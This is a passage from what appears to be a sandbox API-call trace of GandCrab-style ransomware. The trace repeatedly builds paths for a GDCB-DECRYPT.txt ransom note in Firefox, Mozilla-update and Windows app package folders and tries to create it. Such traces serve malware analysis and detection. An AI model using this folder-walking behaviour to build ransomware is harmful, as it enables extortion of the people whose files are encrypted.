settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.526] GetLastError () returned 0x3 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.527] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\\\GDCB-DECRYPT.txt") returned 273 [0170.527] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\updates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.527] GetLastError () returned 0x3 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.528] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\\\GDCB-DECRYPT.txt") returned 290 [0170.528] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\updates\\e7cf176e110c211b\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.528] GetLastError () returned 0x3 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.528] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.529] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\\\GDCB-DECRYPT.txt") returned 266 [0170.529] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.529] GetLastError () returned 0x3 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.530] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 300 [0170.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.530] GetLastError () returned 0x3 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.530] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 307 [0170.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.530] GetLastError () returned 0x3 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.530] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 306 [0170.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.531] GetLastError () returned 0x3 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.531] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 303 [0170.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.531] GetLastError () returned 0x3 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.531] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 302 [0170.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.531] GetLastError () returned 0x3 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.531] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 299 [0170.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.531] GetLastError () returned 0x3 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.531] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 301 [0170.532] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.532] GetLastError () returned 0x3 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.532] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 302 [0170.532] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.532] GetLastError () returned 0x3 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.532] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 304 [0170.532] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.532] GetLastError () returned 0x3 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.532] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 301 [0170.532] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.532] GetLastError () returned 0x3 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.532] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 298 [0170.533] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.533] GetLastError () returned 0x3 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.533] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 304 [0170.533] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.533] GetLastError () returned 0x3 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.533] wsprintfW (in: 